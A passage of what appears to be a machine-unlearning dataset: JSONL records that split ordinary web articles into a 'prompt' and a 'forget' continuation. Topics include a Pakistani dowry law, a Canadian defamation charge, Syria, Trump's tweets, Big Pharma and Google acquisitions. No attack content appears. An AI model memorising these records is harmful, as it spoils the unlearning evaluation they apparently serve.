from all weather when comfort is second to just sleeping dry and packing camp quick. I\u2019ll do a full review of the Borah Gear bivy later; I\u2019ve only got one night in it, shown here at \u201cThe Top of the World\u201d in Florida, MA, which is actually just a cell phone tower that happens to be near an overlook. I can do a lot of assuming with a tent because I\u2019ve used ten just like it, but I can\u2019t do the same with the bivy. The Tent The Stoic Templum 2.1 is dirt-cheap (I got mine for $95 with a coupon from its flagship site, Backcountry). During times when they\u2019re rotating old stock on camping gear, like just after the holidays or just after winter/summer ends, you can almost count on finding"}
{"prompt": "Restri\u00adcts total expend\u00aditures on marria\u00adges PESHAWAR: The Khyber-Pakhtunkhwa Assembly adopted a landmark piece of legislation on Thursday, barring a bride\u2019s family members, relatives and outsiders from making dowry payments to the groom and his family. The law also restricts the maximum value of gifts given to the bride by her parents, family members or any other person to Rs10,000. It is now illegal for anyone from the groom\u2019s family or anyone on their behalf to ask or force the bride\u2019s family for dowry. If they still do, they shall be liable to a two-month prison term and a fine of", "forget": "Rs300,000 or both. The law titled, \u2018the Khyber Pakhtunkhwa Dowry, Bridal Gift and Marriage Functions Restriction Act, 2017,\u2019 states that the total expenditures on marriages, including on baarats or valimas shall not exceed Rs75,000 and other ceremonies, including nikah, baraat or valima shall be concluded before 10pm. Anti dowry campaign: Constant effort against gender violence called for Similarly, the law restricts the valima to a one-dish banquet of rice, gravy and sweets. It also states that a person or family celebrating the nikah or baraat or organising the marriage ceremony of other person shall not serve or allow anyone to meals or other edibles, excluding beverages, to people participating in the ceremony. Under the law, anyone who contravenes or fails to comply with any provision of this law shall be liable to pay a fine not less than Rs200,000 and an imprisonment term not exceeding two months. The bill, tabled by the Jamaat-e-Islami\u2019s (JI) Rashda Riffat, was unanimously adopted by the house. Services of more than 3,000 employees of the health and irrigation departments were regularised after the adoption of two separate laws tabled by Pakistan Peoples Party lawmaker Sardar Fakhar Azam Khan. The assembly also adopted a resolution asking the provincial government to include chapters on the life of celebrated humanitarian and charity founder Abdul Sattar Edhi in textbooks taught in Khyber-Pakhtunkhwa. Expensive weddings Concerns on Fata reforms The Pakistan Tehreek-e-Insaf (PTI) and Qaumi Watan Party (QWP) expressed concern over the five-year plan for merging the Federally-Administered Tribal Areas (Fata) into the province. Senior Minister for Irrigation Sikandar Sherpao of QWP objected over the delay, saying that the assembly had passed resolutions asking the federal government for an immediate merger. \u201cWe want local government elections in Fata this year and general elections next year in accordance with the committee\u2019s"}
{"prompt": "Criticize cops involved in the G20 debacle? We can now expect to be arrested and face criminal prosecution. Forget a civil defamation suit\u2014two members of the Ontario Provincial Police, aided and abetted by the Crown Attorney\u2019s office, have chosen the nuclear option, charging a Kitchener activist with criminal defamation. (More here. Needless to say, this latest assault on the right to dissent has not received much coverage in the corporate media.) From the Waterloo Record: Dan Kellar, 29, was recently charged with two counts of defamatory libel by officers in the OPP anti-rackets squad as he left his Kitchener home", "forget": "on a bicycle. He was also charged with counsel to assault one of the officers. Police allege he published comments likely to injure the reputation of the officers by exposing them to hatred, contempt or ridicule, or that were designed to insult the officers. \u2026Kellar says the officers who arrested him are from the same unit that arrested other AW@L members and activists in connection with G20-related allegations. \u201cThe cop who arrested me is the one who\u2019s making all the arrests for conspiracy cases,\u201d he said. He said police agents began infiltrating activist groups before the summit. The two undercover officers joined AW@L [Anti-War at Laurier, a campus peace group], but were kicked out in the spring of 2010, before the summit, because activists didn\u2019t feel comfortable around them, he said. \u2026The defamatory libel charges were laid against Kellar after he put out a \u201ccommunity alert\u201d on AW@L\u2019s website, peaceculture.org. Kellar learned one of the officers had been spotted in Toronto, and, \u201csent out the warning\u2026\u2019suspected infiltrator police agent spotted in Toronto,\u2019\u201d he said. In the posting, he made comments police allege are defamatory. Here\u2019s the Criminal Code provision, rarely invoked in this country\u2014until now, I guess: 298 (1) A defamatory libel is matter published, without lawful justification or excuse, that is likely to injure the reputation of any person by exposing him to hatred, contempt or ridicule, or that is designed to insult the person of or concerning whom it is published. Mode of expression (2) A defamatory libel may be expressed directly or by insinuation or irony (a) in words legibly marked on any substance; or (b) by any object signifying a defamatory libel otherwise than by words. Note that the bar for a successful criminal conviction (\u201cbeyond a reasonable doubt\u201d) is considerably higher than for a successful"}
{"prompt": "THREE and a half years into a war that has left 200,000 dead, forced more than 10m from their homes and sucked in America, Russia and a host of regional meddlers, the UN has a new plan for Syria: \u201cAleppo first\u201d. It seeks to fix a local ceasefire in Aleppo, once a proud and bustling metropolis of 3m that has been reduced to a pockmarked carcass of mostly empty buildings, in the hope of gradually \u201cfreezing\u201d battles elsewhere. Don\u2019t hold your breath. The limited scope of the initiative, proposed on November 10th by Staffan de Mistura, the UN\u2019s special envoy,", "forget": "underscores the intractability of this century\u2019s bloodiest conflict. A break in the fighting that has split Aleppo in two would certainly cheer its surviving residents, many of whom no longer care who wins. But too many factors militate against even a limited local ceasefire, let alone a negotiated peace. Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks. President Bashar al-Assad\u2019s government said it would study the ceasefire plan, which Mr de Mistura described as a potential building block for a wider solution. \u201cOf course they won\u2019t say no,\u201d says Emile Hokayem of the International Institute for Strategic Studies, a think-tank in London. \u201cAssad likes anything that appears to bolster his legitimacy.\u201d Yet he notes that previous Syrian ceasefires have tended to come in two contexts: either regime forces have besieged a rebel district and offered a choice between starvation and surrender, or a halt to fighting has proven tactically useful, allowing the government to redeploy forces elsewhere. In fact, Mr Assad has been doing better lately. The American-led air assault against Islamic State (IS) and other jihadist groups has battered some of his foes, and allowed him to pose as an ally in fighting terrorists. Mr Assad has ramped up his own, far less discriminating, aerial bombardment of rebel areas. And he has been able to release ground forces to make gains in some places, including Aleppo, after months of stalemate. America\u2019s decision to hit jihadist groups other than IS has further splintered the fractious rebels. Some have defected to extremist groups, including IS and Jabhat al-Nusra (which is affiliated to al-Qaeda), convinced that America\u2019s coalition is in effect an ally of Mr Assad\u2019s. Revelations that President Barack Obama promised not to attack the Assad regime in a secret letter to Ayatollah Ali"}
{"prompt": "If epistemic individualism is an adaptation for collective deliberation, there must be some mechanism whereby the products of collective deliberation come to be accepted. Under many conditions at least, epistemic diversity must be \u2018transient\u2019 (Zollman 2010), and that, in turn, requires that we are apt to defer to others. Deference is in fact ubiquitous.10 Global warming \u2018skeptics\u2019 do not come to their beliefs unaided. Instead, they defer to others (Kahan 2015; Keller 2015). Conversely, liberals exhibit much higher levels of trust in science (Lewandowsky and Oberauer 2016). As a consequence, conservatives and liberals are disposed toward biased assimilation of evidence", "forget": "supporting and opposing their views (Corner et al. 2012). In part, biased assimilation is caused by asymmetrical deference: accepting views from some sources and not others. Asymmetrical deference may be partially explained by reference to message content (Keller 2015). Because responding to AGW very likely requires limitations on free markets, it is highly unpalatable to strong supporters of markets. While \u2018solution aversion\u2019 (Campbell and Kay 2014) may explain some of the observed variance, conservative distrust of environmentalism (and support for unfettered markets) appears to arise from, rather than cause, the partisan split. Conservationism has historically been a strong current within conservative thought, and up until recently there was no partisan divide on the environment, either within congress or on the part of the general public (McCright et al. 2014). While message content certainly influences the disposition to defer (Harris 2012), sensitivity to properties of the testifier sometimes trumps content. Israelis and Palestinians evaluated a peace proposal significantly more or less favorably depending upon whether it was presented as coming from Palestinian negotiators or Israelis (Maoz et al. 2002). Similarly, conservative and liberal attitudes to proposals for welfare policies were much more strongly influenced by whether the proposals were said to be supported by Democrats or Republicans than by the content of the proposals (Cohen 2003). In fact, sensitivity to properties of testifiers is able to trump content even when the content of the testimony is disagreeable to hearers. Corrections of false claims are effective when they come from sources that share the ideology of the hearer (Nyhan and Reifler 2013) and also when they come from sources that can be expected to find the claim they affirm contrary to their own ideological interests (Berinsky 2017). Thus, corrections of false claims about Obamacare, for instance, are effective for both conservatives and"}
{"prompt": "We are eight weeks into the season, and we only have three weeks left of the LCS regular season and fantasy. The pressure to win is increasing exponentially and decisions have more weight behind them now that the end is upon us. Week 8 Analysis Last week, I incorrectly predicted Millenium, Roccat, Dignitas, and Alliance. My data incorrectly predicted Roccat, Dignitas, CLG, and Gambit. I made the mistake of thinking that Mil was on a downswing, when in reality they were just being horribly inconsistent which they showed in their crushing victory over Alliance and their close game with CW.", "forget": "Alliance was the exact opposite: I thought that they were just having a fluke week on super week and that their games vs Roccat and Millenium would boost them back up. Instead, they went 0-2 and look extremely vulnerable for the first time this season. It seemed expected that Dig would at least have close games with LMQ and CLG, but they were crushed in both games and garnered less than half of what was expected of them. Roccat went 2-0 against SK and Alliance. CLG went 2-0 against TSM and Dig in crushing victories. Gambit swapped their roster around and not even NiQ could post a decent score this week. SK did much worse than expected this week, however, they were expected to do the worst, or the 2nd worst in each of their respective positions, so I would say that was still accurate. Overall, my data predictions were extremely accurate and fairly precise last week. I was 0.56% accurate, and +/- 9.53 points precise for both EU and NA last week. A lot of that deviation comes from EU where teams like Gambit, SK, and Roccat scored upwards of 30 points off from the predicted values. In fact, EU was +/- 11.51 points precise while NA was +/- 7.54 points precise. The good thing about EU is that it remains extremely accurate due to many games being stomps. When one team in EU scores over, another team will score just as much under the projection. I found that another good way to compare how well predictions worked is to rank all players based on their predictions, and then see where they ended up for their actual performance. For last week, the two tables are here: Projected Week 8 Actual Week 8 As you can see, even though teams"}
{"prompt": "Big Pharma has remade their business models over time to maximize shareholder value. - Joe Raedle/Getty Images Listen To The Story Marketplace Embed Code <iframe src=\"https://www.marketplace.org/2016/06/08/world/profit-pharma/popout\" frameborder=\"0\" width=\"100%\" height=\"240px\"></iframe> There\u2019s a new way of doing business for much of Big Pharma. Instead of relying on their own expensive laboratories, they also buy drugs or their makers and focus on getting treatments through the Food and Drug Administration and onto your TV screens. Then, raise prices every year. Move overseas for tax advantages. And reward shareholders by buying back billions' worth of shares. It wasn\u2019t always like that. \u201cGeorge Merck summed", "forget": "it up \u2014 one of the original CEOs of Merck back in the '50s \u2014 that the mission of Merck and other pharmaceutical companies at the time was to take care of patients and profits would follow,\u201d said Joel Hay, a professor of pharmaceutical economics and policy at the University of Southern California. At Merck & Co., in the middle of the 20th century, the idea that patients came before profits \u201cwas a big part of our culture,\u201d said Scott Lucas, who worked in sales at the company for more than 30 years, starting in the 1970s. Lucas and other workers describe an era of the highest ethical and moral standards. Drug trials were halted over the most tenuous rumor that a similar drug in development by a competitor was running into issues. Sales staff took pains to educate doctors about the downsides of Merck\u2019s treatments. In the second half of the 20th century, Merck really was a company where shareholder value was the result, not a prime motivation. It ran huge, productive research labs full of top-notch scientists. In charge of those labs was Roy Vagelos, who went from chief scientist to become CEO in 1984. Dan Bobkoff / Business Insider \u201cMy interest was never making money,\u201d Vagelos, 86, said in an interview with Business Insider and Marketplace. \u201cEven as CEO. Especially as CEO.\u201d By today\u2019s standards of management, it\u2019s as if Vagelos did everything wrong. 'We\u2019re leaving money on the table' He refused to raise drug prices more than inflation. When he told that to Merck\u2019s marketing team, Vagelos said, \u201cThey said, 'We\u2019re leaving money on the table,' of course. And I said, 'Fine, that\u2019s what we\u2019ll do.'\u201d He bailed out of business school after just a week, which is maybe why he didn\u2019t think much about Wall"}
{"prompt": "WHY THIS MATTERS IN BRIEF The Pipe is a finalist in the 2016 Land Art Generator Initiative, a competition to combine clean energy production with public art. Is it public art, or is it a power station? This shimmering design for \u201cThe Pipe\u201d, a finalist in the 2016 Land Art Generator Initiative (LAGI), is intended to blur the lines between the two. Imagined here as a floating installation off the coast of Santa Monica, California, the Pipe is an electromagnetic desalination device, powered by the sun. It also looks great on the horizon. In that regard, it perfectly reflects the", "forget": "premise of the LAGI design competition, which this year invited participants to come up with aesthetically pleasing concepts for electricity and clean water generation that could potentially be placed in the waters near Santa Monica Pier as examples that our increasing demands for power need not blight the landscape (or seascape). As was first reported by Inhabitat, The Pipe was designed by the Canadian engineering firm Abdolaziz Khalili and Associates, which specialises in processing plants for the food, drink and packaging industries. The glittering silver tube could, the firm says, generate 10,000 MWh of electricity annually, powering an electromagnetic filtration system capable of pumping out 1.5 billion gallons of clean drinking water for the city over the same period. \u201cWhat results are two products \u2013 pure drinkable water that is directed into the city\u2019s primary water piping grid, and clear water with 12 per cent salinity,\u201d the design brief explains. \u201cThe drinking water is piped to shore, while the salt water is redirected back to the ocean through a smart release system, mitigating most of the usual problems associated with returning brine water to the sea.\u201d Artist Elizabeth Monoian and her architect husband Rob Ferry founded LAGI in 2008, to encourage the design of public art installations that also produce clean energy. \u201cNow, more than ever, energy and water are intertwined. As California faces severe water shortages in the coming years, the amount of energy required for water production and transmission is sure to increase,\u201d the couple write on the competition website. \u201cAs the infrastructures that will cleanly power our future productivity become more prevalent in our commercial and residential centres, the issue of their aesthetic integration becomes more important,\u201d the founders argue. \u201cPower plants, once unseen and forgotten, will become an integral part of our daily lives.\u201d The other"}
{"prompt": "The connection between race and intelligence has been a subject of debate in both popular science and academic research since the inception of IQ testing in the early 20th century. There remains some debate as to whether and to what extent differences in intelligence test scores reflect environmental factors as opposed to genetic ones, as well as to the definitions of what \"race\" and \"intelligence\" are, and whether they can be objectively defined. Currently, there is no non-circumstantial evidence that these differences in test scores have a genetic component, although some researchers believe that the existing circumstantial evidence makes it", "forget": "at least plausible that hard evidence for a genetic component will eventually be found. The first test showing differences in IQ test results between different population groups in the US was the tests of United States Army recruits in World War I. In the 1920s groups of eugenics lobbyists argued that this demonstrated that African-Americans and certain immigrant groups were of inferior intellect to Anglo-Saxon whites due to innate biological differences, using this as an argument for policies of racial segregation. Soon, other studies appeared, contesting these conclusions and arguing instead that the Army tests had not adequately controlled for the environmental factors such as socio-economic and educational inequality between blacks and whites. The debate reemerged again in 1969, when Arthur Jensen championed the view that for genetic reasons Africans were less intelligent than whites and that compensatory education for African-American children was therefore doomed to be ineffective. In 1994, the book The Bell Curve argued that social inequality in the United States could largely be explained as a result of IQ differences between races and individuals, and rekindled the public and scholarly debate with renewed force. During the debates following the book's publication, the American Anthropological Association and the American Psychological Association (APA) published official statements regarding the issue, both highly skeptical of some of the book's claims, although the APA report called for more empirical research on the issue. History of the debate Claims of races having different intelligence were used to justify colonialism, slavery, racism, social Darwinism, and racial eugenics. Racial thinkers such as Arthur de Gobineau relied crucially on the assumption that black people were innately inferior to whites in developing their ideologies of white supremacy. Even enlightenment thinkers such as Thomas Jefferson, a slave owner, believed blacks to be innately inferior to whites in physique"}
{"prompt": "The issue of how the state spends public money is not a new one but we need to consider it far more carefully looking through the lens of State Capture and the #GuptaLeaks. State Capture has consumed our headlines for many months with the #GuptaLeaks revealing a fascinating web of questionable, illegal, criminal and unethical behaviour from the usual suspects that have featured during the Zuma years but have also highlighted the role that corporate interests often play in corrupt and questionable activities that have undermined the developmental agenda of the state. There is no doubt that capture and looting", "forget": "in South Africa started long before democracy was negotiated, which has been highlighted in a series of Daily Maverick articles by Open Secrets. The issue of how the state spends public money is not a new one but we need to consider it far more carefully looking through the lens of State Capture and the Gupta Leaks. From 2008 to 2011, the Auditor-General noted with some concern that the South African Government spent more than R102-billion on public money on consultants and over the past two financial years has spent a further R56-billion. With each passing day, the costs of these lost Zuma years are becoming more apparent, with the extent and scale of the rot revealing an encroaching stranglehold that has often been facilitated and supported by corporate interests and the self-interest of a few at the expense of all South Africans and our collective future. The reaction by various organisations (private and public) against KPMG may be reassuring to some but this is simply reactive conduct that does not deal with the underlying issue that the veneer of respectability of a number of major corporates has been used to launder the machinations of those that have been hell-bent on compromising the developmental agenda that South Africa should be serving. The ongoing news cycle may continue to reveal the extent of State Capture, corruption and looting, which is estimated by some to already be in the region of more than R100-billion (public money that has been extracted for the benefit of the Gupta and Zuma families). There is no question of legality regarding improper awarding of contracts, corruption and malfeasance, but what should concern us all is whether the other contracts that are not in the public domain are actually serving the interest of the country. The underlying question"}
{"prompt": "WASHINGTON (AP) \u2014 Attorney General Jeff Sessions is leaving open the possibility that a special counsel could be appointed to look into Clinton Foundation dealings and an Obama-era uranium deal, the Justice Department said Monday. In a letter to the House Judiciary Committee, which is holding an oversight hearing Tuesday, the Justice Department said Sessions had directed senior federal prosecutors to \u201cevaluate certain issues\u201d recently raised by Republican lawmakers. The prosecutors will report to Sessions and Deputy Attorney General Rod Rosenstein and recommend whether any new investigations should be opened, whether any matters currently under investigation require additional resources and", "forget": "whether it might be necessary to appoint a special counsel to oversee a probe, according to a letter sent to Rep. Robert Goodlatte of Virginia, the Judiciary Committee\u2019s Republican chairman. The letter from Assistant Attorney General Stephen Boyd did not say what specific steps might be taken by the Justice Department to address the lawmakers\u2019 concerns, or whether any of the matters Republicans have seized might on already be under investigation. Any appointment of a new special counsel, particularly in response to calls from members of Congress or from President Donald Trump, is likely to lead to Democratic complaints about an undue political influence on the department\u2019s decision-making. Trump in recent weeks has repeatedly weighed in on department affairs, publicly lamenting that he does not have more direct involvement with it and calling on law enforcement scrutiny of Democrat Hillary Clinton, his opponent in the 2016 presidential race, and other Democrats. He has been particularly interested in the Clinton Foundation. \u201cEverybody is asking why the Justice Department (and FBI) isn\u2019t looking into all of the dishonesty going on with Crooked Hillary & the Dems\u2026\u201d Trump tweeted earlier this month. In apparent anticipation of those concerns, Boyd said in the letter that Justice Department \u201cwill never evaluate any matter except on the facts and the law.\u201d \u201cProfessionalism, integrity and public confidence in the Department\u2019s work is critical for us, and no priority is higher,\u201d Boyd said. Sessions said at his January confirmation hearing that he would recuse himself from any investigations involving Democrat Hillary Clinton given his role as a vocal campaign surrogate to President Donald Trump. He similarly recused himself from a separate investigation into potential coordination between the Trump campaign and Russia, and in May, the Justice Department appointed former FBI Director Robert Mueller as special counsel to lead"}
{"prompt": "New Languages, teams and analyzing data with Excel & CSV files Exciting news \u2013 we have finished integrating Chinese, Japanese, Korean and Arabic native support within MonkeyLearn. Now you can train and consume machine learning models for text analysis in these new languages. You can select any of these new languages within the creation wizard of a MonkeyLearn model: For existing models, you can change the language settings on the \u2018Parameters\u2019 tab within your \u2018Sandbox\u2019: Many users have requested the possibility to train text classifiers in Chinese, Japanese, Korean and Arabic, so we hope these additions enables the creation of", "forget": "new and exciting text analysis models. We plan to add more languages in the short term, so if you have any suggestions or want a specific language to be supported by MonkeyLearn, please let us know in the comments of this post. Analyze data with Excel & CSV files using Machine Learning We\u2019ve released a new feature to bring more power to your MonkeyLearn account. Besides using our Graphical User Interface to train your machine learning models, now you can also use our GUI to actually use these models and analyze data. Just upload a CSV or Excel file to analyze new texts and make predictions with a classifier or extractor. For example, let\u2019s say that you want to use the Retail Classifier to classify a bunch of products descriptions you have on a CSV file. For doing this, you can go to the \u201cClassify\u201d tab (within the Sandbox or Live versions of the classifier) and then click on \u201cClassify File\u201c: This section will guide you through a wizard where you upload data using a CSV or Excel file, and in exchange, it will return a new CSV file with your data plus the MonkeyLearn analysis and predictions using that particular model (like those you will get using our API). We are really excited about this new feature as it will enable non-technical users to analyze data using machine learning without a single line of code! Team manager We have a new feature that you will love! Now you can invite team members to collaborate with your MonkeyLearn models. Whether it\u2019s allowing a teammate to add new training data, curate the data, fix confusions, make changes to the tag list, try out the model or use a team token to consume queries, it\u2019s all now very easy to do, just"}
{"prompt": "by Photo by Ninian Reid | CC BY 2.0 It is said that Twitter has been responsible for stirring nascent revolutions in the Middle East, going beyond its initial description as the Seinfeld platform of social media. It has also been targeted by authorities for stirring the pot, lighting fires and generally being a nuisance. From useless babble and inane navel gazing, users became connected activists, Molotov cocktail throwers and inane spouters of few-line messages. A whole spectrum of connectivity, riddled with messages of varying quality, grew up. What then, of the terms of use? Given the nature of the", "forget": "platform, community guidelines, of a sort, are supposedly meant to be followed. This hardly means that they are enforced with any zeal. It means that an individual such as minor celebrity Tila Tequila, whose social media rants were often richly anti-Semitic, will only be banned after taking a bridge too far. That bridge was crossed in posting a picture of herself in the company of two men luxuriating with the Nazi salute.[1] The suspensions share a thread of inconsistency, though they veer from aspects of bullying (such as New Zealander Hanna, known on Twitter as \u201cPoison Ivy\u201d or then 19-year-old Jane Oranika on racial suggestiveness in an online make-up video on how to make a White Face. \u201cBarack Obama? Is that some kind of sauce?\u201d[2] Trump supporters didn\u2019t see the humour in that. Various, even more venal figures have made it to the ban list. George Zimmerman, who gunned down an unarmed Trayvon Martin in 2012, was suspended in 2015. But it was the now oft used term \u201crevenge porn\u201d that ultimately sank his social media bliss, despite previously posting a picture of his murderous handiwork: Martin, lingering lifelessly in the grass. The knotted realm of bitchiness and abuse is one thing; but removing political activists from the platform for violating various forms of claimed conduct is an onerous, and in some cases dangerous task. One of the discordant voices of the alt-right movement, and Breitbart\u2019s former tech editor, Milo Yiannopoulos, provides such a case. When does free speech, notably of the insensitive sort, transmute into pure hate speech? Where Yiannopoulos ran foul was leading a social media strike on actress Leslie Jones of Ghostbusters fame, a form of character assassination in text. This got him booted off the platform in 2016. Since then, he has been doing a merry"}
{"prompt": "Everybody needs beauty as well as bread, places to play in and pray in where nature may heal and cheer and give strength to the body and soul. Keep close to Nature\u2019s heart\u2026and break clear away, once in awhile, and climb a mountain or spend a week in the woods. Wash your spirit clean.~ John Muir To care for their health and well-being, many men carefully watch their diet, take supplements, exercise, and go for regular check-ups at the dentist and the doctor. Some even supplement this routine with visits to a masseuse or a therapist. But many men are", "forget": "skipping out on something essential to their manly vigor-spending time in the great outdoors. Great men from Theodore Roosevelt to Ralph Waldo Emerson loved to tear out into nature. Yet today men see activities like hiking, fishing, hunting, and camping as hobbies to be enjoyed by some and not by others. They\u2019ve become just another recreational opportunity: you can take it or leave it. But spending time in the outdoors is essential for every man. It will strip off the stale, sissified patina that civilization has covered you in and renew your soul in 5 crucial ways: 1. Nature gives you a chance for unstructured exploration Surely all God\u2019s people, however serious or savage, great or small, like to play. ~ John Muir Most men\u2019s lives are tightly scheduled and routine. Wake up, shower, commute, work, home, sleep. Each day you drive the same route, sit in the same cubicle, and sleep in the same bed. Yet within each man is a strong urge to set out and explore, to start out a day with only the faintest outline of an agenda, and to discover things never seen before. Scrambling over rocks, hiking up mountains, and fording streams will make you feel like a kid again. 2. Nature gets you in touch with the basic elements and your primal self In God\u2019s wildness lies the hope of the world \u2013 the great fresh unblighted, unredeemed wilderness. The galling harness of civilization drops off, and wounds heal ere we are aware. ~ John Muir The modern man is subject to all sorts of rules, expectations, and constraints. Buttoned up and buried in paper work, he must act polite, follow the traffic laws, and refrain from throttling the a-hole who prolongs the company meeting with asinine questions. His spirit his constantly hemmed"}
{"prompt": "As most of you know, Google recently turned 10 years old. The powerful search engine has been growing its Internet empire through acquisitions and partnerships ever since it went public. In this post, I\u2019ll be going in depth about the companies Google acquired in the past and where are they now. 1. Deja.com (Price unknown, Date: February 12, 2001) Google bought Deja.com in February 2001. Deja News Research was a forum based on Usenet that started in 1995. Steve Madere started Deja News in Austin, TX and Google wanted it because of it\u2019s searching capabilities. Deja News could search across", "forget": "all of their archived newsgroups. Results were found immediately. However, some of the material submitted to Deja.com included that from The Church of Scientology so the company found themselves facing a couple of lawsuits. In 1999, Deja.com shifted their business model to focus on shopping comparison. The archived messages did not become available to their users any longer. Then one year later, the company was in financial distress so they sold the shopping service to eBay\u2019s Half.com and the archives to Google. Google took the archives from Deja and integrated it into Google Groups. \u201cWe welcome Deja\u2019s loyal users into the growing community of Google users worldwide,\u201d stated Larry Page in a press release from 2001, who was the CEO of Google at the time. \u201cWith more than 500 million individual messages and growing fast, Usenet and its thriving community is one of the most active and valuable information sources on the Internet.\u201d Deja.com redirects to Google Groups and is blocked from Archive.org. 2. Outride (Price: unknown, Date: September 20, 2001) Outride was a spin-off from the Xerox Palo Alto Research Center (PARC). Outride specialized in online information retrieval. Through the acquisition, Google bought the I.P., the patent rights, source code, trademarks, and domain names from them. Using the technology from Outride, Google created iGoogle in May 2005. iGoogle is an AJAX-based starting homepage where users can aggregate RSS feeds and Google Gadgets. Outride had 2 products created at the time: Outride Search Service and Outride Communications Service. The technology platform created by Outride was called Outride Relevance Builder and Outride Relevance Miner. Outride Search Service provided search results based on user interests and demographics. This data was collected by their search habits. Outride Communications Services was a Web-based community platform that harvests hyperlinks from emails, calendars, communication apps, and"}
{"prompt": "by BRIAN NADIG The 41st Ward Zoning Advisory Board at its Aug. 5 meeting unanimously approved plans to build four homes on the site of Edison Park Community Church and two homes near Newcastle and Foster avenues, and it conditionally endorsed a proposed Starbucks coffee shop in Norwood Park. The 20,000-square-foot church property at 6675 N. Oketo Ave. is for sale because the congregation is planning to move to a smaller facility. Plans call for the site to be rezoned from RS-2 to the less restrictive RS-3 because two of the lots would not meet the minimum lot size of", "forget": "5,000 square feet under the existing zoning. The two-story homes would have an asking price of about $800,000. \"We are not going to have one elevation for four homes,\" project attorney Paul Kolpak said in response to concerns expressed at a previous meeting. \"People like the architecture in the neighborhood, but they just don\u2019t want to see it four in a row,\" Alderman Anthony Napolitano (41st) said. The same zoning change also is being sought for a 7,400-square-foot parcel at 5128-32 N. Newcastle Ave., where a 72-year-old house would be demolished. Plans call for the 60-foot lot to be subdivided for two two-story homes, each with a basement. Two similar 2,500-square-foot homes were constructed at 5134-36 N. Newcastle Ave. after that site was rezoned in 2013, and a resident of the block told the board that those homes are out of character with the neighborhood because they are too large. \"Young people have been coming up here because of the schools,\" Kolpak said. \"People want the bigger houses.\" The board also approved the concept of building an 1,800-square-foot Starbuck\u2019s with a drive-through facility at 6340 N. Northwest Hwy., but members said that they would like to see a traffic study for the project before giving their full endorsement of the proposal. A special use permit is required for the drive-through facility. There is no driveway on the Harlem Avenue side of the 27,000-square-foot vacant parcel, and project developer Lee Wolfson has said that a curb cut on Harlem would be needed in order to attract a national tenant to the site, which is next to Metra railroad tracks. Concerns have been raised that the proximity of a railroad crossing on Harlem could cause traffic on northbound Harlem to back up over the tracks. The city Department of Transportation conducted a"}
{"prompt": "David Nickle, the longtime president of the City Hall Press Gallery and reporter for Metroland Media, has a side career as a respected author of genre fiction. The title story in his latest collection, Knife Fight And Other Struggles, starts: \u201cNot many outside the confines of the political wing at City Hall would guess it, but our new mayor is an expert with a knife.\u201d One day toward the end of Rob Ford\u2019s mayhem, perhaps in summer 2014, I spitballed with Nickle about how one would go about shaping Ford\u2019s saga into a story: a movie, TV series, whatever. I\u2019d", "forget": "imagined telling it from the perspective of the mayor himself, the most fascinating and compelling character in the world, but Nickle \u2013 whose City Hall office is next to mine \u2013 had a better idea. The Ford story, he observed, would be better told from the point of view of someone like Mark Towhey: the ex-military man who was by Ford\u2019s side from day one of the 2010 campaign, worked in his office as director of policy and strategy, and eventually became his third of five chiefs of staff. It was an excellent idea \u2013 a narrative from Towhey\u2019s perspective could chart the arc of an ambitious crisis manager who would gradually find himself in far over his head, as layers of absurdity and darkness inexorably pile on. What would begin as a comedy about helping a buffoonish populist realize his goals would eventually transform into a dead-serious Sisyphean parable about managing the unmanageable. Just over a year later, we now have such a work: Towhey\u2019s tell-all, Mayor Rob Ford: Uncontrollable, co-authored with Johanna Schneller and published by NYC-based Skyhorse, came out today (October 27). In most respects, it fulfills the promise of the premise, explaining how the experience of working for Ford turned bit by bit from exhilarating to traumatic. But it misses an element crucial for such a yarn \u2013 an outside vantage point. Towhey would be a superb vehicle for a narrative so long as someone else was telling the story and holding him up as a flawed protagonist whose questionable choices and malleable ethics implicate him in everything that happens. The book\u2019s subtitle is How I Tried To Help The World\u2019s Most Notorious Mayor, but it could just as easily have been Why I\u2019m Not To Blame. I've never read Vladimir Nabokov's Lolita, but my understanding"}
{"prompt": "The topic of my Sloan project came about very organically. As soon as I decided to apply for the grant, I knew it was going to involve forensics. Then I asked myself, \"What's the most common tool people associate with criminal investigation?\" The answer was obvious: fingerprints. After some preliminary research I discovered this very little-known but fascinating murder case that few people outside law-enforcement circles have heard of. It involves the death of two children in the small, seaside Argentine town of Necochea in 1892. As I continued my research into the state of forensics in Argentina and the", "forget": "rest of the world at the time, I came across some very fascinating facts. Juan Vucetich was at the center of this case. During this time he was working on his own methods of fingerprinting, which was first developed in England. Although his views on criminal investigation, like his preference for evidence over coercion or torture, differed from those of his contemporaries, he wasn't met with as much institutional resistance as one might expect. The anthropometric method, which involved measuring body parts and distinguishing characteristics, was accurate, but it was expensive, time-consuming and hard to implement on a uniform basis, because it required careful training. That's where fingerprints come in. The fact that each fingerprint was unique had been known for centuries. In order to avoid fraud, the British even used fingerprints to pay pension benefits in colonial India. So naturally the reason that fingerprints became widespread was their simplicity and low cost. But even at the time of this case, prints were only used to generate databases of convicted criminals and to register immigrants, which is a whole other topic of discussion entirely. The story seemed very topical, mainly for two reasons. First, the way law enforcement goes about investigating crimes has always been a huge problem, be it the imperfection of the methods used or the inability of police to process the evidence already at hand. Just look at how many thousands of rape kits in U.S. never get tested because of their sheer volume. Also, needless to say, even after more than a hundred years since the beginning of modern forensics, evidence too often is politicized and misused by the police -- which happens to be the case in the Argentine murder case in 1892. What was true in Necochea back then is true in New York"}
{"prompt": "0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard As former acting attorney general Sally Yates prepares to testify, Donald Trump lashed out this morning via his customary outlet, Twitter, to attack both the Obama administration and Sally Yates herself. In his first tweet, Trump went after the Obama administration, attempting to shift blame for the hiring of Michael Flynn off himself and onto his predecessor: General Flynn was given the highest security clearance by the Obama Administration \u2013 but the Fake News seldom likes talking about that. \u2014 Donald J. Trump (@realDonaldTrump) May 8, 2017 Oh, dear, things", "forget": "seem to have gotten too deep for Trump almost immediately, as national security expert and former NSA analyst John Schindler quickly pointed out: WH does not adjudicate clearances. IRL Obama fired #MoscowMike as DIA director because he's an incompetent asshat. https://t.co/R0ZYtK5hQZ \u2014 John Schindler (@20committee) May 8, 2017 Schindler further dismantled Trump\u2019s absurd attempt at blame-shifting by a simple appeal to logic and fact: Flynn was commissioned in Army MI in 1981. By Trump's \"logic\" Reagan, Bush 41, Clinton, Bush 43 & Obama all cleared him. This is insane BS. \u2014 John Schindler (@20committee) May 8, 2017 Trump\u2019s second tweet was directed at Sally Yates: Ask Sally Yates, under oath, if she knows how classified information got into the 